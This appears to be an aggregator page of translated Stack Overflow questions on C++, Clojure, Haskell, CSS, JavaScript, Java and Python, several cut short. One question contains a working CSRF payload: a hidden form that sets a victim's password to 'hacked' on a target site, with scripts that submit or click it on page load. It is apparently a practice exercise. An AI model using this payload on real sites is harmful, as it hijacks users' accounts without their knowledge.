对于一个学校项目,我有3个班:一个鸡蛋,一个巢和一个母鸡.我们需要使用new创建每个in的实例,对每个实例进行main调用display(),然后显式删除每个实例.这一切都很简单.
我的问题是不知道如何正确地抓住一个bad_alloc; 应该抛出任何一个new电话.
现在,它看起来像这样:
int main(int argc, char* argv[]) {
using namespace std;
cout << "Creating new instances on the heap..." << endl;
Egg* egg = new Egg("New Egg");
Nest* nest = new Nest("New Nest");
Hen* hen = new Hen("New Hen");
cout << sizeof(*egg) << endl;
cout << sizeof(*nest) << endl;
cout << sizeof(*hen) << endl;
cout << "\nCalling display() on each..." << endl;
egg->display();
nest->display();
hen->display();
cout << "\nExplicitly …Run Code Online (Sandbox Code Playgroud) 我正在写一个Monty Hall模拟器,发现需要在一个范围内生成一个数字,不包括一个数字.
这似乎很容易,所以我天真地写道:
(这些g/...功能是我个人图书馆的一部分.它们的使用应该相当清楚):
(defn random-int-excluding
"Generates a random number between min-n and max-n; excluding excluding-n.
min-n is inclusive, while max-n is exclusive."
[min-n max-n excluding-n rand-gen]
(let [rand-n (g/random-int min-n max-n rand-gen)
rand-n' (if (= rand-n excluding-n) (inc rand-n) rand-n)]
(g/wrap rand-n' min-n (inc max-n))))
Run Code Online (Sandbox Code Playgroud)
这会在范围内生成一个随机数,如果它等于排除的数字,则加一; 必要时包装.当然,最终在被排除的数字之后给出数字两倍的被挑选机会,因为如果选择它或被排除的数字,它将被挑选.样本输出频率范围为0到10(最大不包括),不包括2:
([0 0.099882]
[1 0.100355]
[3 0.200025]
[4 0.099912]
[5 0.099672]
[6 0.099976]
[7 0.099539]
[8 0.100222]
[9 0.100417])
Run Code Online (Sandbox Code Playgroud)
(defn random-int-excluding
"Generates …Run Code Online (Sandbox Code Playgroud) 如果我在ghci中输入":i Double"或":i Float",则表示Double和Float是Fractional的实例.但是在Haskell文档中,它说它们不是.那么他们是不是? http://hackage.haskell.org/package/base-4.9.1.0/docs/Prelude.html#t:Fractional
我正在编写一个Mandelbrot Set实现,并且为了加快找出哪些点进入无穷大,我决定尝试使用ExecutorService并行检查点.
基本上该计划是:
Atom包装a vector中我的问题是最后一点.我怎样才能安全地从原子中获取先前的结果并重置它?
我想到了简单的方法:
(def draw-queue-A (atom []))
(defn grab-and-clear-queue []
(let [results @draw-queue-A]
(reset! draw-queue-A [])
results))
Run Code Online (Sandbox Code Playgroud)
但这看起来不安全.如果在取消引用和之间添加了某些内容reset!,它将会丢失.
我此刻已经解决的残暴憎恶是:
(defn grab-and-clear-queue []
(let [results (atom [])]
(swap! draw-queue-A
(fn [res] (reset! results res)
[]))
results))
Run Code Online (Sandbox Code Playgroud)
但是使用原子来检索结果似乎很荒谬.
我怎样才能理智地检索原子的内容,并重置它而不会丢失任何结果?
我正在尝试一个简单的 CSRF 攻击并遇到了一个问题。
如果我有一个包含此表单的虚拟站点:
<form action="somewebsitetoexploit.com/someformpage" method="GET" hidden>
<input type="password" autocomplete="off" name="password_new" value="hacked"><br>
<input type="password" autocomplete="off" name="password_conf" value="hacked">
<input type="submit" value="Change" name="Change">
</form>
Run Code Online (Sandbox Code Playgroud)
我最初的想法是通过submit在页面加载时在表单上调用脚本标记来让这个表单“自我提交”,以便在用户访问页面时自动更改用户密码:
<script>
window.onload = (_) => {
const form = document.getElementsByTagName("form")[0];
form.submit();
};
</script>
Run Code Online (Sandbox Code Playgroud)
这看起来有效,但密码未能更改。在查看 GET 参数时,我意识到这是因为它没有包含Change参数(提交按钮本身)。它产生了:
?password_new=hacked&password_conf=hacked
Run Code Online (Sandbox Code Playgroud)
代替:
?password_new=hacked&password_conf=hacked&Change=Change
Run Code Online (Sandbox Code Playgroud)
我猜这会导致它在后端的验证检查失败。
它看起来很笨拙,但我能够通过将其设置click为提交按钮而不是submit直接输入表单来修复它:
<script>
window.onload = (_) => {
const submit = document.getElementsByName("Change")[0];
submit.click();
};
</script>
Run Code Online (Sandbox Code Playgroud)
我查看了相关的MDN 页面,它指出调用submit与单击提交按钮有两个不同之处:
- 不
submit引发任何事件。特别是,表单的onsubmit事件处理程序不会运行。- 不触发约束验证。
目前还不清楚为什么onsubmit …
有没有办法让几个选择器与伪类相关联?
换句话说,我想这样做,如果锚,图像或按钮悬停或聚焦,它们周围会有一个特殊的边框.
我试过这个(在黑暗中拍摄):
(a,button,img):hover, (a,button,img):focus {
border: 2px dashed black;
}
Run Code Online (Sandbox Code Playgroud)
但是Webstorm并不喜欢它,也没有激活它.
我知道这有效:
a:hover, a:focus {
border: 2px dashed black;
}
Run Code Online (Sandbox Code Playgroud)
但我希望能够将其应用于其他选择器,而无需多次重复自己将其应用于所有选择器.
我正在制作一个测试打字速度的 Web 应用程序。
它为用户提供了一些要输入的文本以及一个要输入的输入框。如果用户输入了错误的键,我将使用preventDefault生成的键事件来防止在输入框中输入错误的字符(而是向用户显示错误消息)。
问题是,并preventDefault不能阻止输入退格键。理想情况下,由于错误的按键永远不会输入到文本框中,因此允许退格是没有意义的。如果用户习惯性地在发现错误时按退格键,则会导致输入框中的文本变得不正确。这不会影响测试结果,只是不是理想的情况。
如何防止“文本”类型的 HTML5 输入元素中出现退格?
有人可以解释为什么(int) (Math.random()*12-3)返回介于-2和8 (int) (Math.random()*12)-3之间的值,而返回介于-3和8之间?
不同之处在于括号的位置,但我不知道为什么它会产生影响的"引擎盖下".如果Math.random()可以返回的最低值为0,那么0*12 = 0并且两者最终都应该以-3结尾.我认为它与铸造到int和0.x到1有关.它只是(理论上)不可能达到0.00000000 ......?
我正在写自己的range实现ISeq.我最初的实现equiv只是调用seq我的范围和另一个列表,并使用=以下方法进行比较:
(defn equals? [this-range other-range]
(= (seq this-range) (seq other-range)))
Run Code Online (Sandbox Code Playgroud)
这似乎很好,但后来我遇到了一些奇怪的行为:
(= (new-range 5 10)
(range 5 10))
=> true
(= (range 5 10)
(new-range 5 10))
=> false ; Uh oh
Run Code Online (Sandbox Code Playgroud)
new-range我的自定义构造函数在哪里.
为了了解LongRange句柄的等效性,我检查了它的来源.它代表们ASeq,和ASeq的equiv方法开始与线:
public boolean equiv(Object obj) {
if (!(obj instanceof Sequential) && !(obj instanceof List)) {
return false;
. . .
Run Code Online (Sandbox Code Playgroud)
由于我的范围没有实现,Sequential或者List此检查失败.它甚至没有尝试迭代我的范围来进行值比较.
这是什么原因?Sequential只是一个空的界面.似乎只是存在将类"标记"为顺序而不需要任何方法. …
有一种涉及子分类的情况我无法弄清楚。
我正在进行子分类Random(原因超出了重点)。这是我所拥有的一个基本示例:
import random
class MyRandom(random.Random):
def __init__(self, x): # x isn't used here, but it's necessary to show the problem.
print("Before")
super().__init__() # Nothing passed to parent
print("After")
MyRandom([])
Run Code Online (Sandbox Code Playgroud)
上面的代码在运行时给出以下错误(并且不打印“Before”):
>>> import test
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "C:\Users\_\PycharmProjects\first\test.py", line 11, in <module>
MyRandom([])
TypeError: unhashable type: 'list'
Run Code Online (Sandbox Code Playgroud)
对我来说,这没有任何意义。不知何故,即使我没有传递它,参数MyRandom显然也被直接传递给Random.__init__,并且该列表被视为种子。"Before"从不打印,所以显然我的初始化器甚至从未被调用。
我认为这可能是由于Random在 C 中实现的父级造成的,这导致了奇怪的情况,但是list子类化的类似情况不会产生错误,指出整数不可迭代:
class MyList(list):
def __init__(self, y):
print("Before")
super().__init__()
print("After") …Run Code Online (Sandbox Code Playgroud)